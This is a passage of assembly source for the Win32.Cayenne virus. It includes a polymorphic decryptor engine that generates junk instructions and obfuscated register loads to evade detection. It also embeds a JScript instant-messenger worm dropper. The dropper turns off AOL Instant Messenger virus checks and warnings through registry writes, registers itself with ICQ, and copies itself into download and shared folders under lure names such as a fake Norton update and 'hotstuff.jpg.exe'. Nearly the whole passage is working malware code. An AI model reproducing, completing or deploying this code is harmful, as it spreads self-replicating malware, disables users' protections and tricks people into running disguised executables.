mov ah, REG_MEM
jmp ciOpRMReg
; method 3: operation with reg on register
rj_meth3:
push eax
rj_m3_asd: call rnd32
and al, REG_EDI
cmp al, bl
je rj_m3_asd
xor al, MOD_REG
xor bl, MOD_REG
xchg eax, ecx
call rnd32
and al, 01h
jnz rj_m3_nxchg
xchg bl, cl
rj_m3_nxchg: xchg eax, edx
push OPTYPE_MOV + 3
call rnd32r
cmp al, OPTYPE_MOV + 1
jb rj_m3_nmov
mov al, OPTYPE_MOV
rj_m3_nmov: mov bh, al
pop eax
mov ah, dl
jmp ciOpRMReg
; method 4: shift register
rj_meth4: xchg eax, ebx
or al, MOD_REG
xchg eax, ecx
push ebx
push RND_SHIFT
call rnd32r
xchg eax, ebx
push SHIFT_RND
call rnd32r
mov bh, al
call rnd32
and al, 1Fh
xchg eax, edx
pop eax
cmp al, OPSIZE_16
jne rj_m4_blah1
and dl, 0Fh
rj_m4_blah1: cmp al, OPSIZE_8
jne rj_m4_blah2
and dl, 07h
rj_m4_blah2:
mov ah, dl
jmp ciShiftRM
; method 5: movzx/movsx register, reg
rj_meth5: test al, al
jnz rj_m5_ok
inc eax
and bl, not 04h
rj_m5_ok: mov dl, MOVX_WORD xor MOVX_SX
test al, 02h
jz rj_m5_nprefix
mov byte ptr [edi], OPERAND_SIZE
inc edi
mov dl, MOVX_SX
rj_m5_nprefix: mov byte ptr [edi], ESC_2BYTE
inc edi
call rnd32
and al, dl
xor al, MOVX
stosb
call rnd32
and al, REG_EDI
shl ebx, 03h
xor eax, ebx
xor al, MOD_REG
stosb
ret
; method 6: inc/dec register
rj_meth6: push eax
call rnd32
and al, 01h
xchg eax, edx ; BL = 0 [INC] BL = 1 [DEC]
pop eax
test al, al
jnz rj_m6_n8
mov byte ptr [edi], INCDEC_GROUP
inc edi
xchg eax, edx
shl eax, 03h
xor al, MOD_REG
xor al, bl
stosb
ret
rj_m6_n8: test al, 02h
jz rj_m6_noprefix
mov byte ptr [edi], OPERAND_SIZE
inc edi
rj_m6_noprefix: xchg eax, edx
shl eax, 03h
xor al, INC_REG
xor al, bl
stosb
ret
rj_methods equ $
dd offset rj_meth1 - idelta
dd offset rj_meth2 - idelta
dd offset rj_meth3 - idelta
dd offset rj_meth4 - idelta
dd offset rj_meth5 - idelta
dd offset rj_meth6 - idelta
RJ_METHCNT equ 06h
iRegJunk endp
; write 2 - 4 register junk instructions
iRndRegJ proc
pushad
push 03h
call rnd32r
inc eax
inc eax
xchg eax, ecx
call iGetJunkReg
xchg eax, ebx
irrj_loop: push ecx ebx
call iRegJunk
pop ebx ecx
loop irrj_loop
mov [esp], edi
popad
ret
iRndRegJ endp
; memory junk generator
iMemJunk proc
push MJ_METHCNT
call rnd32r
mov edx, [ebp.mj_methods-idelta+4*eax]
add edx, ebp
push OPSIZE_16 + 1
call rnd32r
call iGetWrMem
jmp edx
; immediate operation on memory
mj_meth1: push eax
push OPTYPE_MOV + 3
call rnd32r
cmp al, OPTYPE_MOV + 1
jb mj_m1_nmov
mov al, OPTYPE_MOV
mj_m1_nmov: xchg eax, ebx
call rnd32
xchg eax, edx
call rnd32
test al, 0Ch
jz mj_m1_nsx
movsx edx, dl
mj_m1_nsx: pop eax
mj_m1_nrc: jmp ciOpRMImm
; register operation on memory
mj_meth2: push eax
push OPTYPE_MOV + 3
call rnd32r
cmp al, OPTYPE_MOV + 1
jb mj_m2_nmov
mov al, OPTYPE_MOV
mj_m2_nmov: mov bh, al
call rnd32
test ah, 01h
jz mj_m2_rndreg
and al, REG_EDI
mov bl, al
mj_m2_rndreg: pop eax
xor ah, ah ; MEM_REG
jmp ciOpRMReg
; shift operation on memory
mj_meth3: push eax
push RND_SHIFT
call rnd32r
xchg ebx, eax
push SHIFT_RND
call rnd32r
mov bh, al
call rnd32
xchg eax, edx
pop eax
mov ah, dl
jmp ciShiftRM
mj_methods equ $
dd offset mj_meth1 - idelta
dd offset mj_meth2 - idelta
dd offset mj_meth3 - idelta
MJ_METHCNT equ 03h
iMemJunk endp
; input: bl = register
; output: al = operand size, bl = register
iOpSizeReg proc
push OPSIZE_16 + 1
call rnd32r
test al, al
jnz cr_nop
cmp bl, REG_ESP
jnb iOpSizeReg
push eax
call rnd32
and al, 04h
xor bl, al
pop eax
cr_nop: ret
iOpSizeReg endp
; input: cx, esi = memory
; output: al = operand size, cx, esi = memory
iOpSizeMem proc
push OPSIZE_16 + 1
call rnd32r
ret
iOpSizeMem endp
; gets random register, parameter or junk memory operand
iGetMemory proc
push eax
gm_rep: xor eax, eax
mov al, GM_METHCNT2
cmp byte ptr [ebp.CurrentProc-idelta], DECRYPT_DATA
jb gm_push
inc eax
inc eax
gm_push: sub al, [ebp.InLoop-idelta]
push eax
call rnd32r
add al, [ebp.InLoop-idelta]
mov eax, [ebp.gm_methods-idelta+4*eax]
add eax, ebp
call eax
pop eax
ret
; get random parameter
gm_meth1: movzx eax, byte ptr [ebp.CurrentProc-idelta]
mov al, [ebp.ProcParameters-idelta+eax] ; parameter count
test eax, eax
jz gm_m1_ebp ; if no parameter, don't use this method
push eax
call rnd32r ; choose random parameter
shl eax, 02h ; scale to dword
add al, 08h ; first dword is return address
mov esi, eax ; the displacement
mov cx, REG_EBP ; relative to EBP
ret
gm_m1_ebp: mov cl, REG_EBP xor MOD_REG
ret
; get random junk mem
gm_meth2: mov eax, [ebp.JunkSpSize-idelta] ; access a random dword
shl eax, 02h
dec eax
dec eax
dec eax
push eax
call rnd32r ; from junk memory
add eax, [ebp.JunkSpRVA-idelta] ; add start rva
xchg eax, esi
mov cx, MOD_DIRECT ; return a direct address
ret
; get random encrypted data
gm_meth3: mov eax, [ebp.CryptSize-idelta]
shl eax, 02h
dec eax
dec eax
dec eax
push eax
call rnd32r
add eax, [ebp.DecryptRVA-idelta]
xchg eax, esi
mov cx, MOD_DIRECT
ret
; get encrypted data (RVA + 1/2/4*counter)
gm_meth4: mov esi, [ebp.DecryptRVA-idelta]
push 03h ; scaling factor 1, 2 or 4
call rnd32r
mov ecx, eax
push edx
xor edx, edx
inc edx
shl edx, cl
sub esi, edx
pop edx
shl eax, 03h
xor al, [ebp.creg-idelta]
mov ch, al
mov cl, MOD_DIRECT
ret
; get current encrypted dword
gm_meth5: movsx cx, byte ptr [ebp.preg-idelta] ; use [preg] without
xor esi, esi ; displacement
ret
gm_methods equ $
dd offset gm_meth1 - idelta
dd offset gm_meth2 - idelta
GM_METHCNT3 equ 02h
dd offset gm_meth3 - idelta
GM_METHCNT2 equ 03h
dd offset gm_meth4 - idelta
dd offset gm_meth5 - idelta
GM_METHCNT1 equ 05h
iGetMemory endp
iGetWrMem proc
push eax
push GM_METHCNT3 - 1
call rnd32r
mov eax, [ebp.gm_methods-idelta+4+4*eax]
add eax, ebp
call eax
pop eax
ret
iGetWrMem endp
iGetPar proc
ret
iGetPar endp
; common junk procedures
iGetJunkReg proc
push 03h
call rnd32r
movzx eax, byte ptr [ebp.junkreg1-idelta+eax]
ret
iGetJunkReg endp
iPushJunk proc
pushad
push PP_METHCNT ; random method to push
call rnd32r ; a parameter
mov eax, [ebp.pp_methods-idelta+4*eax]
add eax, ebp
call eax ; call da method
mov [esp], edi
popad
ret
; push 8-bit immediate sign 'xtended to 32-bit
pp_meth1: mov al, PUSH_IMM_SX
stosb
call rnd32
stosb
ret
; push 32-bit immediate
pp_meth2: mov al, PUSH_IMM
stosb
call rnd32
xchg eax, edx
call rnd32
and eax, edx
stosd
ret
; push register
pp_meth4: call rnd32
and al, REG_EDI
xor al, PUSH_REG
stosb
ret
; push memory
pp_meth3: call iGetMemory
mov al, OP_GROUP5
stosb
mov bl, P_PUSH
jmp ciCreateOperand
pp_methods equ $
dd offset pp_meth1 - idelta
dd offset pp_meth2 - idelta
dd offset pp_meth3 - idelta
dd offset pp_meth4 - idelta
dd offset pp_meth4 - idelta
PP_METHCNT equ 05h
iPushJunk endp
iPopJunk proc
call rnd32
test al, 01h
jz pj_asdfklj
mov al, POP_REG
xor eax, ebx
stosb
ret
pj_asdfklj: test al, 02h
jz pj_blahblah
call iGetWrMem
mov al, POP_MEM
stosb
xor bl, bl
jmp ciCreateOperand
pj_blahblah: push 04h
pop edx
xor bl, bl
test al, 04h
jz pj_sueder
add bl, OPTYPE_SUB
neg edx
pj_sueder: mov al, OPSIZE_32
mov cl, REG_ESP xor MOD_REG
xor ch, ch
call ciOpRMImm
ret
iPopJunk endp
; returns random dword (0..4294967295)
rnd32 proc; [no parameterz]
push ecx
push edx
mov eax, [ebp.RandomSeed-idelta] ; load random seed
mov ecx, eax
mov edx, eax
not ecx
and ecx, 03h ; loop 8-64 times
inc ecx
shl ecx, 03h
rnd32_loop: push ecx
mov ecx, edx
ror eax, cl
neg eax
rol edx, cl
dec edx
pop ecx
rnd32_blah: loop rnd32_loop
xor eax, edx
mov [ebp.RandomSeed-idelta], eax ; write back random seed
pop edx
pop ecx
ret
rnd32 endp
; returns random dword (0..[esp+4])
rnd32r proc; [range]
push ecx
push edx
mov ecx, [esp+2*4+4]
call rnd32
xor edx, edx
div ecx
xchg eax, edx
pop edx
pop ecx
ret 04h
rnd32r endp
; 'xchanges n bytes from address ESI (n has to be pushed)
MixBytes proc; [count] [esi = ptr]
pushad ; preserve all registers
mov ebx, [esp.PUSHAD_SIZE+04h]
mov ecx, ebx
shl ecx, 01h ; loop counter (2 * # of bytes)
xb_loop: push ebx ; number of bytes
call rnd32r ; get first byte offset
xchg eax, edx
push ebx
call rnd32r ; get second byte offset
push ebx ; preserve number
mov bl, [esi+eax]
xchg [esi+edx], bl ; exchange bytes
mov [esi+eax], bl
pop ebx
loop xb_loop
popad
ret 04h
MixBytes endp
; writes 1 to 4 random bytes
WriteJunk proc
push eax
push ecx
push 04h ; get random value 0..3
call rnd32r
inc eax ; +1 (1..4)
xchg ecx, eax ; load into counter
wj_loop: call rnd32 ; get a random byte
stosb ; store it
loop wj_loop
pop ecx
pop eax
ret
WriteJunk endp
; returns reg if it is a junk reg, otherwise -1
iIsJReg proc
mov eax, [esp.04h]
cmp [ebp.junkreg1-idelta], al
je is_junkreg
cmp [ebp.junkreg2-idelta], al
je is_junkreg
cmp [ebp.junkreg3-idelta], al
je is_junkreg
xor eax, eax
dec eax
is_junkreg: ret 04h
iIsJReg endp
; generates TEST reg, reg/OR reg, reg/AND reg, reg
gCheckReg proc
; generate MOD/RM byte with MOD_REG flag and twice the same
; register.
pushad
mov al, bl
xor al, MOD_REG ; use as register
mov cl, al
xchg eax, ebx
mov bh, OPTYPE_OR
push 05h
call rnd32r ; get random value
cmp al, 03h
jae gcr_zer0
test al, 02h
jz gcr_and2
mov bh, OPTYPE_AND
gcr_and2: test al, 01h
jz gcr_not_test
mov bh, OPTYPE_TEST
gcr_not_test: call rnd32
and ah, REG_MEM ; random direction
mov al, OPSIZE_32
call ciOpRMReg
gcr_exit2: mov [esp], edi
popad
ret
gcr_zer0: call rnd32
and al, OPTYPE_CMP
cmp al, OPTYPE_ADC
jb gcrz_1
cmp al, OPTYPE_AND
jna gcr_zer0
gcrz_1: xchg eax, ebx
xor edx, edx
mov al, OPSIZE_32
call ciOpRMImm
jmp gcr_exit2
gCheckReg endp
; generates SUB reg, reg/XOR reg, reg/AND reg, 0
gClearReg proc
; generate MOD/RM byte with MOD_REG flag and twice the same
; register.
pushad
mov al, bl
shl al, 03h ; shift to REG field
xor al, bl ; write RM field
xor al, MOD_REG ; use as register
xchg eax, ebx
; generate either a SUB reg, reg or XOR reg, reg
mov cl, MATH_SUB or OPSIZE_32
push 03h
call rnd32r ; get random value
test al, 02h
jnz gcr_and
test al, 01h
jz gcr_not_sub
mov cl, MATH_XOR or OPSIZE_32
gcr_not_sub: and al, REG_MEM ; random direction
or eax, ecx ; create opcode
stosb ; store opcode
xchg eax, ebx ; MOD/RM byte
stosb ; store
gcr_exit: mov [esp], edi
popad
ret
gcr_and: xchg eax, ebx
and al, MOD_REG xor REG_EDI
xchg eax, ecx
mov bl, OPTYPE_AND
mov al, OPSIZE_32
xor edx, edx
call ciOpRMImm
jmp gcr_exit
gClearReg endp
; loads reg (EBX) with immediate value (EDX)
gLoadReg proc
mov eax, edx
shr eax, 0Fh
jnz glr_notword
push 03h ; the value is 0..32767,
call rnd32r ; so we can choose
sub al, 01h
adc al, 00h
glr_shift_sx: shl eax, 03h ; MOVX_SX or MOVX_ZX
glr_word_val: test al, al
jnz glr_not_zx
push 02h
call rnd32r
test eax, eax
jz glr_not_zx
call gClearReg
push 05h ; ADD/OR/SUB/XOR
call rnd32r
cmp al, OPTYPE_OR
jbe glr_1
add al, OPTYPE_SUB - OPTYPE_ADC ; SUB/XOR
glr_1: cmp al, OPTYPE_SUB
jne glr_ns
neg edx
glr_ns: cmp al, OPTYPE_CMP
jne glr_asdf
inc eax
glr_asdf: xchg eax, ebx
xor al, MOD_REG
xchg eax, ecx
mov al, OPSIZE_16
jmp ciOpRMImm
glr_not_zx: push eax
call iGetJunkReg
xchg eax, ecx
call rnd32
test al, 03h ; chance of 1:4 to use same register
jnz glr_blah1
mov ecx, ebx
glr_blah1: mov al, OPSIZE_16
push ebx
mov bl, OPTYPE_MOV
xor ecx, 0FFFFFF00h xor MOD_REG
call ciOpRMImm
pop ebx
and ecx, REG_EDI
xchg ecx, ebx
call iBlockJunkAR
pop eax
mov ah, ESC_2BYTE
xor al, MOVX xor MOVX_WORD
xchg ah, al
stosw
xchg ecx, ebx
xor ecx, 0FFFFFF00h xor MOD_REG
jmp ciCreateOperand
glr_notword: inc eax
shr eax, 11h ; if not zero, value is a negative word
jnz glr_shift_sx ; we must use MOVSX
mov eax, edx
shr eax, 10h ; if zero, only first 16 bits are used
jz glr_word_val ; we must use MOVZX
push GLR_METHCNT ; choose between some methods
call rnd32r
mov eax, [ebp.glr_methods-idelta+eax*4] ; load method
add eax, ebp ; relocate pointer to subroutine
jmp eax ; jump to method.
; method 1: mov reg, imm
glr_meth1: xchg eax, ebx ; get register
xor al, MOV_REG_IMM32 ; add opcode
stosb ; store opcode
xchg eax, edx ; get immediate
stosd ; store immediate
ret
; method 2: clear reg; add/or/sub/xor reg, imm
glr_meth2: call gClearReg ; clear the register
push 04h ; ADD/OR/SUB/XOR
call rnd32r
cmp al, OPTYPE_OR
jbe glr_m2_1
add al, OPTYPE_SUB - OPTYPE_ADC ; SUB/XOR
glr_m2_1: cmp al, OPTYPE_SUB
jne glr_m2_ns
neg edx
glr_m2_ns: call iBlockJunkAR
xchg eax, ebx
or al, MOD_REG ; register
xchg eax, ecx
mov al, OPSIZE_32 ; 32-bit operand
jmp ciOpRMImm
; method 3: mov reg, rnd;
; sub/add/xor reg, imm add/sub/xor rnd
glr_meth3: mov al, MOV_REG_IMM32 ; mov reg, imm32 opcode
xor eax, ebx ; add register
stosb ; store it
call rnd32 ; get a random dword
stosd ; store it
xchg eax, edx ; random value
xchg eax, ecx ; immediate
call iBlockJunkAR ; generate junk block
push 03h ; add, sub, xor
call rnd32r
test eax, eax ; add?
jz glr_m3_1
add al, OPTYPE_SUB - 1 ; no, sub/xor
glr_m3_1: test eax, eax
jnz glr_m3_2
neg edx
add edx, ecx ; - random + immediate
glr_m3_2: cmp al, OPTYPE_SUB
jnz glr_m3_3
sub edx, ecx ; random - immediate
glr_m3_3: cmp al, OPTYPE_XOR
jnz glr_m3_4
xor edx, ecx ; random xor immediate
glr_m3_4: xchg eax, ebx
or al, MOD_REG
xchg eax, ecx
mov al, OPSIZE_32
jmp ciOpRMImm
; method 4: mov reg, imm ror/rol rnd;
; ror/rol reg, rnd
glr_meth4: call rnd32
and al, 1Fh
jz glr_meth4
xchg eax, ecx
xchg eax, edx
push ebx
mov bl, ROL_SHIFT
test ch, 01h
jz glr_m4_rol
rol eax, cl
inc ebx
jmp glr_m4_ror
glr_m4_rol: ror eax, cl
glr_m4_ror: xchg dl, cl
pop ecx
mov byte ptr [edi], MOV_REG_IMM32
xor [edi], cl
inc edi
stosd
xchg ah, dl
xchg ebx, ecx
call iBlockJunkAR
xchg ebx, ecx
mov al, OPSIZE_32
mov bh, SHIFT_IMM
cmp ah, 01h
jnz glr_m4_n1
inc bh
glr_m4_n1: xor ecx, 0FFFFFF00h xor MOD_REG
jmp ciShiftRM
glr_methods equ $
dd offset glr_meth1 - idelta
dd offset glr_meth2 - idelta
dd offset glr_meth3 - idelta
dd offset glr_meth4 - idelta
GLR_METHCNT equ 04h
gLoadReg endp
; relocates a long jump (32-bit displacement)
; [address of disp] points to the byte after the opcode
RelLongJmp proc; [address], [address of disp]
push eax
push edi
mov eax, [esp.0Ch] ; where to jump
mov edi, [esp.10h] ; address of displacement
neg edi
lea eax, [eax+edi-04h]
neg edi
stosd
pop edi
pop eax
ret 08h
RelLongJmp endp
ciShiftRM proc
pushad
test al, OPSIZE_16 ; check if 16-bit operand
jz ciSRno_prefix ; no, we don't need a prefix
mov byte ptr [edi], 66h ; write prefix
inc edi ; increment pointer
dec eax ; change operand size to 32-bit
ciSRno_prefix: cmp ah, 01h
jnz ciSRasdlkfj
cmp bh, SHIFT_IMM
test bh, bh
jnz ciSRasdlkfj
mov bh, SHIFT_1
ciSRasdlkfj: test bh, bh
jz ciSRt_imm ; shift by immediate value
test bh, SHIFT_CL
jz ciSRt_1
or al, 02h
ciSRt_1: or al, 10h
ciSRt_imm: or al, OP_SHIFT
stosb
cmp bl, SAR_SHIFT
jnz ciSRnot_sar
inc ebx
ciSRnot_sar: mov al, bh
push eax
call ciCreateOperand
pop eax
test al, SHIFT_1 or SHIFT_CL
jnz ciSRexit
xchg al, ah
stosb
ciSRexit: mov [esp], edi
popad
ret
ciShiftRM endp
ciOpRMReg proc
pushad
cmp al, OPSIZE_16 ; check if 16-bit operand
jnz ciORRno_prefix ; no, we don't need a prefix
mov byte ptr [edi], 66h ; write prefix
inc edi ; increment pointer
dec eax ; change operand size to 32-bit
ciORRno_prefix: cmp bh, OPTYPE_TEST ; check if TEST instruction
jnz ciORRlame1
mov bh, 090h ; real opcode ROR 3
xor ah, ah ; we can only use MEM_REG
ciORRlame1: cmp bh, OPTYPE_XCHG ; check if XCHG instruction
jnz ciORRlame2
mov bh, 0D0h ; real opcode ROR 3
test al, al ; check if 8-bit operand
jz ciORRlame2 ; next 2 checkz are obsolete
mov dl, cl
and dl, MOD_REG
cmp dl, MOD_REG
jnz ciORRblah
xchg cl, bl
test cl, cl ; check if reg field is eax
jz ciORRxchgeax ; yes, generate xchg eAX, ??
xchg bl, cl
cmp cl, REG_EAX or MOD_REG ; check if r/m field is eax
jnz ciORRlame2
ciORRxchgeax: test cl, MOD_DISP8
jz ciORRblah
test cl, MOD_DISP32
jz ciORRblah
mov al, bl ; BL contains reg
and al, 3Fh ; clear MOD_REG bits
or al, XCHG_EAX_REG ; generate opcode
stosb ; store opcode
jmp ciORRexit ; done! we saved one byte, but
; poly engine grows 25 bytes :p
ciORRblah:
ciORRlame2: cmp bh, OPTYPE_MOV ; check if MOV instruction
jnz ciORRlame3
mov bh, 011h ; real opcode ROR 3
ciORRlame3: shl ah, 1
or al, ah ; operand size + direction
rol bh, 03h ; operation number ROL 3
or al, bh
stosb ; store opcode
call ciCreateOperand ; create R/M byte
ciORRexit: mov [esp], edi
popad
ret
ciOpRMReg endp
ciOpRMImm proc
pushad
push edx
mov edx, eax
cmp al, OPSIZE_16 ; are we usin' 16-bit operands?
jnz ciORIno_prefix ; no, we don't need a prefix.
mov byte ptr [edi], 66h ; store prefix
inc edi
dec eax
; check for MOV operation
ciORIno_prefix: cmp bl, OPTYPE_MOV ; MOV operation?
jnz ciORInot_mov ; no, check next
; check if operand is register
push eax ; push operand size.
mov eax, ecx
xor al, MOD_REG ; invert MOD_??? bits
test al, MOD_REG ; they aren't 00 now?
jnz ciORInot_reg ; operand is not register
pop ecx ; pop operand size
shl cl, 03h ; generate B0h or B8h opcode
or al, cl ; register OR operand size
or al, MOV_REG_IMM
stosb ; store opcode
jmp ciORIwrite_imm ; write immediate
; generate MOV mem, imm
ciORInot_reg: pop eax ; pop operand size
or al, MOV_MEM_IMM
stosb
xor ebx, ebx
jmp ciORIcreate_rm
; Check for TEST operation
ciORInot_mov: cmp bl, OPTYPE_TEST ; TEST operation?
jnz ciORInot_test ; no, check next
cmp cl, REG_EAX or MOD_REG ; reg = EAX/AX/AL?
jnz ciORInot_eax1
or al, TEST_EAX_IMM ; generate TEST eAX/AL, imm
stosb
jmp ciORIwrite_imm
ciORInot_eax1: or al, OP_GROUP3 ; opcode for operation group 3
stosb ; store
xor bl, bl ; TEST r/m, Ib/Iv
jmp ciORIcreate_rm
; check if EAX/AX/AL register.
; if yes, we can generate opcode by shifting left operation
; type by 03h, adding 04h and adding operand size.
ciORInot_test:
; if all above fails, generate operation from immediate
; group (group 1). opcode 80h or operand size.
; if it is a 32-bit immediate, we check if immediate value
; fits in byte (-128 <= immediate >= 127). we can save 3
; bytes that will be 000000h or FFFFFFh anyway. :-%
push edx
or al, OP_GROUP1
test al, OPSIZE_32
jz ciORIblah
mov edx, [esp + 04h]
movsx edx, dl
cmp edx, [esp + 04h]
jne ciORIblah
inc eax
and byte ptr [esp], 00h
inc eax ; use byte imm, sign extended to dword
ciORIblah: jnz ciORInot_eax2
pop edx
cmp cl, REG_EAX or MOD_REG ; register = EAX/AX/AL?
jnz ciORInot_eax3 ; nope, create operation
; from group 1 (immediate ops)
shl bl, 03h ; operation type
or bl, USE_EAX ; opcode ?4h or ?5h
and al, 01h
or al, bl ; add operand size
stosb ; store opcode
jmp ciORIwrite_imm ; write immediate value
ciORInot_eax2:
pop edx
ciORInot_eax3: stosb
ciORIcreate_rm:
call ciCreateOperand
ciORIwrite_imm: test dl, dl
jz ciORIimm8
test dl, OPSIZE_16
jnz ciORIimm16
pop eax
stosd
jmp ciORIexit
ciORIimm16: pop eax
stosw
jmp ciORIexit
ciORIimm8: pop eax
stosb
ciORIexit: mov [esp], edi
popad
ret
ciOpRMImm endp
ciCreateOperand proc
pushad
mov eax, ecx
and al, MOD_REG
cmp al, MOD_REG ; R/M operand = register?
jz COcreate_mr ; yes, directly to ciCreateMODRM
test cl, MOD_DIRECT ; direct addressing?
jnz COno_disp
mov eax, esi
test eax, eax ; displacement = 0?
jz COno_disp ; don't use displacement
or cl, MOD_DISP32 ; set 32-bit displacement
test cl, MOD_DIRECT
jnz COno_disp
movsx eax, al
cmp eax, esi
jne COno_disp
xor cl, MOD_REG
COno_disp: test ch, ch ; second index register?
jz COcreate_mr ; no, we don't need SIB
or cl, MOD_SIB ; set SIB flag
COcreate_mr:
shl ebx, 03h ; register
; let's check if operand is register
mov eax, ecx
and al, MOD_REG ; clear bits 0-5
xor al, MOD_REG ; invert bit 6 & 7
jnz CMblah1 ; memory operand.
xchg eax, ecx
and al, 0C7h
or eax, ebx
stosb ; directly create it!
xor eax, eax ; return MOD_NODISP
jmp CMexit1
CMblah1: mov eax, ecx
and al, 0C7h
cmp al, REG_EBP ; EBP and no displacement?
jnz CMblah2
or cl, MOD_DISP8 ; use 8-bit displacement
CMblah2: mov eax, ecx
and al, 07h or MOD_DIRECT or MOD_SIB
cmp al, REG_ESP ; ESP is index reg?
jnz CMblah3 ; nope
or eax, ebx
and cl, MOD_REG
or eax, ecx
stosb
mov byte ptr [edi], 24h
inc edi
and al, MOD_REG
jmp CMexit1
CMblah3: mov eax, ecx
test al, MOD_DIRECT ; direct addressing?
jz CMblah4 ; nope
and cl, 38h
or cl, REG_EBP ; no displacement and EBP
CMblah4: mov eax, ecx
test al, MOD_SIB ; do we have SIB byte?
jz CMblah6 ; no SIB byte
; set ESP as index register (SIB)
and al, 0C0h or MOD_SIB or MOD_DIRECT
or al, REG_ESP
and cl, 0C7h or MOD_SIB or MOD_DIRECT
CMblah6: and al, 0C7h
or eax, ebx
stosb
mov eax, ecx
and al, 0C7h or MOD_SIB or MOD_DIRECT
CMexit1:
; created MOD/RM byte. now let's do the displacement
test eax, eax ; no displacement?
jz COexit ; yes, exit
test al, MOD_SIB ; SIB byte?
jz COblah ; no, don't store SIB byte
shl ch, 03h ; creatin' SIB byte
push eax ; preserving addressing mode
and al, REG_RND - 1 ; mask base register
or al, ch
stosb ; store SIB byte
pop eax
COblah: test al, MOD_DIRECT ; direct addressing?
jnz COdirect ; yes, store VA & exit
COblah2: test al, MOD_DISP8 ; do we have 8-bit displacement?
jz COblah3 ; no, perform next check
xchg esi, eax
stosb
jmp COexit
COblah3: test al, MOD_DISP32
jz COexit
COdirect: xchg esi, eax
stosd
COexit: mov [esp], edi
popad
ret
ciCreateOperand endp
; initialized data
; db '[ind00r] polymorphic engine by slurp', 0
; end of ipe32
Data:
FileHandle dd 0h
KernelMZ dd 0h
counter dw 0h
db 'Win32.Cayenne by Necronomikon[DCA]',0
TempAPI dd 0h
KernelPE dd 0h
NTableVA dd 0h
TempApisearch3 dd 0h
WormFile2 db 'C:\cayenne.txt.pif',0
ATableVA dd 0h
NTableTemp dd 0h
NewEIP dd 0h
AlignReg2 dd 0h
Shell32 db 'Shell32.dll',0
XShellExecuteA dd 0h
; decryptor instructions generator addresses (relative to idelta)
Generatorz dd offset iProcLdPtr - idelta ; load pointer
dd offset iProcLdCnt - idelta ; load counter
dd offset iProcLdKey - idelta ; load key
dd offset iProcDecData - idelta ; decrypt data
dd offset iProcIncKey - idelta ; increment key
dd offset iProcIncPtr - idelta ; increment pointer
dd offset iProcDecCnt - idelta ; decrement counter
dd offset iProcFPUFool - idelta ; neat stuff :O
; junk instruction generator addresses (relative to idelta)
JunkGen dd offset iMemJunk - idelta
dd offset iRegJunk - idelta
JUNKGEN_CNT equ 02h
; decryptor procedures are called in this order:
CallOrder1 db LOAD_POINTER ; ¿
db LOAD_COUNTER ; Ã these procedures can
db LOAD_KEY ; Ù be mixed.
CALL_ORDER_1 equ $ - CallOrder1
db DECRYPT_DATA ; stays at its place
CALL_ORDER_2 equ $ - CallOrder1
CallOrder2 db INC_KEY ; ¿
db INC_POINTER ; Ã these procedures can
db DEC_COUNTER ; ³ be mixed.
db FPU_FOOL ; ³
db JUNK_PROCS dup (JUNK_PROC) ; Ù
; procedure order (1 byte for each procedures that will be mixed randomly)
ProcedureOrder db LOAD_POINTER
db LOAD_COUNTER
db LOAD_KEY
db DECRYPT_DATA
db INC_KEY
db INC_POINTER
db DEC_COUNTER
db FPU_FOOL
db JUNK_PROCS dup (JUNK_PROC)
PROC_ORDER equ $ - ProcedureOrder
; registerz
Registers equ $
preg db REG_ECX ; pointer register
creg db REG_EDX ; counter register
kreg db REG_EAX ; key register
junkreg1 db REG_EBX ; junk register 1
junkreg2 db REG_ESI ; junk register 2
junkreg3 db REG_EDI ; junk register 3
USED_REGS equ $ - Registers
RandomConst dd RANDOM_SEED ; random seed constant (unchanged
; during runtime)
idelta equ $ ; delta offset (held in ebp)
; uninitialized data
RandomSeed dd ? ; random seed (changed)
InitValues equ $ ; some values we have to initialize
JunkSpSize dd ? ; size of junk space
JunkSpRVA dd ? ; address of junk space
DecryptRVA dd ? ; address of encrypted code
CryptSize dd ? ; size of crypted code
EncryptRVA dd ? ; address of code to encrypt
CryptKey dd ? ; encryption key
KeyIncrement dd ? ; key incrementation
CryptType db ? ; encryption type (byte)
KeyIncType db ? ; key increment type (byte)
ProcParameters db MAX_PROCS + 1 dup (?)
ProcAddress dd MAX_PROCS + 1 dup (?)
JunkProcs db ? ; number of junk procedures
ProcCount db ? ; number of procedures
CurrentProc db ? ; identifies current procedure when
; in the generator loop.
InLoop db ? ; boolean, if true we are
; generating decryptor loop
nojunk db ?
WormDropper:
db '//IM-Worm.Cayenne',13,10
db '//(c)by Necronomikon[DCA]',13,10
db 'var N1="Curry_Chicken.txt.pif"',13,10
db 'var N2="hotstuff.jpg.exe"',13,10
db 'var N3="pepperhouse.gif.exe"',13,10
db 'var N4="Norton_AntiVirus_Update.exe"',13,10
db 'var N5="Necronomikon_is_back.doc.pif"',13,10
db 'var WS=WScript.CreateObject("WScript.Shell")',13,10
db 'var fso=WScript.CreateObject("Scripting.FileSystemObject")',13,10
db 'var pdir = WS.RegRead ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\ProgramFilesDir")',13,10
db 'var aimsn = WS.RegRead ("HKCU\\Software\\America Online\\AOL Instant Messenger (TM)\\CurrentVersion\\Login\\screenname")',13,10
db 'WS.RegWrite ("HKCU\\Software\\America Online\\AOL Instant Messenger (TM)\\CurrentVersion\\users\\" + aimsn + "\\xfer\\dirdownload","c:\\downloads")',13,10
db 'WS.RegWrite ("HKCU\\Software\\America Online\\AOL Instant Messenger (TM)\\CurrentVersion\\users\\" + aimsn + "\\xfer\\noviruscheck","1")',13,10
db 'WS.RegWrite ("HKCU\\Software\\America Online\\AOL Instant Messenger (TM)\\CurrentVersion\\users\\" + aimsn + "\\xfer\\noviruswarndlg","1")',13,10
db 'WS.RegWrite("HKCU\\Software\\Mirabilis\\ICQ\\Agent\\Apps\\cayenne\\Path","WINDIR%\\cayenne.exe")',13,10
db 'WS.RegWrite("HKCU\\Software\\Mirabilis\\ICQ\\Agent\\Apps\\cayenne\\Enable","Yes")',13,10
db 'fso.CreateFolder ("c:\\downloads")',13,10
db 'var copyme=new Array(N1,N2,N3,N4,N5)',13,10
db 'var Rndphiles=copyme[Math.round(Math.random()*4)];',13,10
db 'phile = fso.GetFile("c:\\cayenne.txt.pif")',13,10
db 'if (fso.FileExists("c:\\cayenne.txt.pif"))',13,10
db '{',13,10
db 'phile.Copy("c:\\downloads\\"+Rndphiles,true);',13,10
db '}',13,10
db 'if (fso.folderexists(pdir+"\\icq\\shared files\\"))',13,10
db '{',13,10
db 'phile.Copy(pdir+"\\icq\\shared files\\"+Rndphiles,true);',13,10
db '}',13,10
